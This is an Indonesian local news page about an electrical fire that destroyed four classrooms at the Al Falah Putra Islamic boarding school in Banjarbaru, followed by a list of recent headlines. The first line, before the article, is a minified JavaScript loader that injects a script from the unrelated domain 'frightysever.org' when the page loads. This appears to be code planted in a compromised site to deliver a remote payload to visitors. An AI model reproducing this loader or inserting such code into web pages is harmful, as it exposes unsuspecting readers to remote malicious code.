(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

4 Kelas Ponpes Al Falah Putra Tak Lagi Bisa Digunakan


BANJARBARU, Diduga akibat hubungan arus pendek listrik, api melahap 4 ruang kelas di Pondok Pesantren (Ponpes) Al Falah Putra Landasan Ulin A Yani Km 23, Banjarbaru, Selasa (6/3). Akibatnya ruang kelas tidak lagi bisa digunakan untuk proses belajar mengajar.

Menurut keterangan satpam Ponpes Al Falah Putra, sekitar pukul 07.15 Wita seorang saksi mata berprofesi karyawan yang bekerja di samping Ponpes Al Falah Putra melihat ada asap mengepul keluar dari bangunan salah satu kelas yang berada di lantai 2. Dengan cepat saksi kejadian langsung melapor kepada pihak Ponpes Al Falah Putra.

Untungnya saat itu tidak ada santri pesantren di dalam kelas karena sedang melakukan sholat. Kepanikan sempat terjadi, sebelum tim pemadam kebakaran tiba, ratusan santri Al Falah langsung memadamkan asap yang keluar dari bawah lantai kelas 2 tersebut dengan melakukan penyiraman air secara manual.

Baru sekitar pukul 08.00 Wita tim pemadam kebakaran BPK tiba di TKP. Membutuhkan waktu selama satu jam untuk memadamkan dan memutuskan aliran listrik karena harus menjebol bagian atap dan lantai kelas. Sekitar pukul 09.00 Wita api berhasil dipadamkan. Api tidak sempat meluas, walau bangunan pesantren ini terbuat dari bahan kayu.

Akibat dari kejadian ini, ada 4 ruang kelas yang tidak dapat digunakan karena atap dan lantainya bolong, beberapa fasilitas pesantren berupa kursi dan meja berserakan.

Pimpinan Ponpes Al Falah Putra Banjarbaru KH Syamsuni mengungkapkan, sementara ini anak-anak santri yang belajar di 4 ruang kelas tersebut akan dipindakan ke ruang belajar lain.

“Masih kami cari jalan keluarnya, sementara untuk santri yang biasa belajar di 4 kelas itu akan kami pindahkan ke ruang lain,” ujarnya.

Pihak pesantren masih menghitung total kerugian akibat dari kejadian ini. Untuk 4 kelas yang telah rusak saat ini telah dipasang police line. (rico)

Reporter: Rico
Editor: Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Camat Lurah Boleh Jabat Sekretariat PPK PPS

KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More

5 jam ago

Sekretaris Nasdem Kalsel Melamar Golkar, Rozanie Sadar Cukup Posisi Calon Wagub

KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) serentak 2024, sejumlah tokoh mulai mencari dukungan partai… Read More

5 jam ago

Mesin Terbakar di Udara, Pesawat Jemaah Haji Kloter 5 Embarkasi Makassar Kembali Mendarat

KANALKALIMANTAN.COM, MAKASSAR - Momen mencekam mewarnai penerbangan 450 jemaah haji asal Sulawesi Selatan (Sulsel) terjadi,… Read More

6 jam ago

Meteran Air Leding PAM Bandarmasih Hilang, Biaya Pergantian Ditanggung Pelanggan

KANALAKALIMANTAN.COM, BANJARMASIN - Pelanggan air bersih Perusahan Air Minum (PAM) Bandarmasih Kota Banjarmasin Provinsi Kalimantan… Read More

6 jam ago

Layanan Posyandu Terintegrasi di Desa Manusup

KANALKALIMANTAN.COM, KUALA KAPUAS – Upaya memberikan pelayanan kesehatan dasar kepada masyarakat terus dilakukan Pos Pelayanan… Read More

6 jam ago

Kampung KB Guntung Manggis Masuk Enam Besar Nasional

KANALKALIMANTAN.COM, BANJARBARU - Dukungan segenap unsur pemerintahan mengantarkan Kampung Keluarga Berkualitas (KB) Kelurahan Guntung Manggis… Read More

7 jam ago

This website uses cookies.